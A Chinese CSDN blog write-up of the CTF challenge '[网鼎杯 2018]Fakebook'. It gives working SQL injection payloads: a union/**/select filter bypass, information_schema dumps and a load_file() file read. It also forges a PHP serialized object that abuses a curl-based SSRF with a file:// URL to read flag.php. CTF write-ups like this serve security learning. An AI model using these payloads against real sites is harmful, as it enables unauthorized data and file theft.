[网鼎杯 2018]Fakebook

本文详细讲述了在Web应用中发现SQL注入漏洞,通过序列化绕过过滤,利用 SSRF 技巧访问内网资源,最终获取flag的过程。关键步骤包括数据反序列化、构造恶意PHP序列化字符串和利用getBlogContents函数获取Flag文件。
摘要由CSDN通过智能技术生成
打开环境:
 
点击login,是个登录页面,试验后未发现SQL注入漏洞,点击jion是个注册页面,注册好后:
发现url上传了一个/view.php?no=1   在后面加个'发现报错:
说明存在SQL注入漏洞,为数字型,接着用order by 查出字段数为4,就联合查询union select 5,6,7,8 发现:
union select被过滤,此处可用union/**/select绕过,构造
no=-1 union/**/select 5,6,7,8
发现只有第二个字段能在username处显示,就查询数据库名:no=-1 union/**/select 1,database(),3,4  得到库名:fakebook   
 
接着爆表名,
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
   得到表名:users
接着爆列名:
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
    得到字段: no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS     
接着查字段内容: no=-1 union/**/select 1,data,3,4 from users  一个个查询发现data字段中有个序列化的字符串: O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:13:" www.baidu.com"; }
接下来用工具(dirseach、御剑等)扫一扫这个环境,发现了robots.txt协议和flag.php,flag.php无法直接访问,访问robots.txt,发现:
一个user.php.bak的页面,访问下载得到该文件:
<?php
 
 
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
 
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
 
    function get($url)
    {
        $ch = curl_init();
 
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
 
        return $output;
    }
 
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
 
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
 
}
代码审计一波: 首先了解一下里面出现的函数: curl_exec()函数使用不当就会造成 ssrf漏洞 ,到这里思路大概就出来了,flag.php可能处于内网无法直接访问( 们可以填 http:127.0.0.1/flag.php  ,然后让上面说的调用get函数访问它并返回显示内容吗?不行,看上面源码,过滤了http/https ),如果ssrf访问flag.php大概理解是将我们输入的blog,调用get函数创建链接我们填的url,将访问该url返回的内容在页面输出。这里就是我们利用的点。发现 注册时候填写的blog地址会curl访问,并返回内容。但是存在严格的正则表达式匹配,我们不能直接访问flag.php。
  需要 绕过http读取文件,就可以用flie协议: File协议主要用于 访问本地计算机中的文件 ,就如同在Windows资源管理器中打开文件一样。 要使用File协议,基本的格式如下: file:///文件路径 ,比如要打开F盘flash文件夹中的1.swf文件,那么可以在 资源管理器或浏览器地址栏 中输入: file:///f:/flash/1.swf 回车。
那为啥不在注册的时候blog直接填 file:///var/www/html/flag.php ,然后你会发现,报错不能注册。所以还得往下。
 
由上面的data字段内容可以得知,我们的注册信息,是以反序列化字符串储存的。以序列化的方式存储在data字段中,查询时返回序列化字符串后先进行反序列化后再提取blog网址。
那如果让它查询返回的是包含 file:///var/www/html/flag.php的序列化字符串,那它提取时就是访问了flag.php文件并返回。解决了上面注册的过滤。
所以,我们先构造一个php序列化字符串。
<?php

class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
    
}

$a = new UserInfo();
echo serialize($a);
?>

 

得到:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

 

 
所以,只需要让它返回我们构造的php序列化字符串里的内容,再一次sql联合注入,返回查询内容为file:///var/www/html/flag.php
 
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

iframe标签里,有base64编码后的字符串,点击就是flag。
 
 
这就是这个题目有意思的地方。它应该是第四列那个参数的位置进行反序列化,然后使用了getBlogContents()函数,得到blog的内容。因此我们可以考虑自己构造第四列的参数,让后端反序列化,从而读取flag文件。
 
 

其它方法

看wp还看到一种解法,直接通过sql读取函数直接读取flag.php文件
?no=100 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值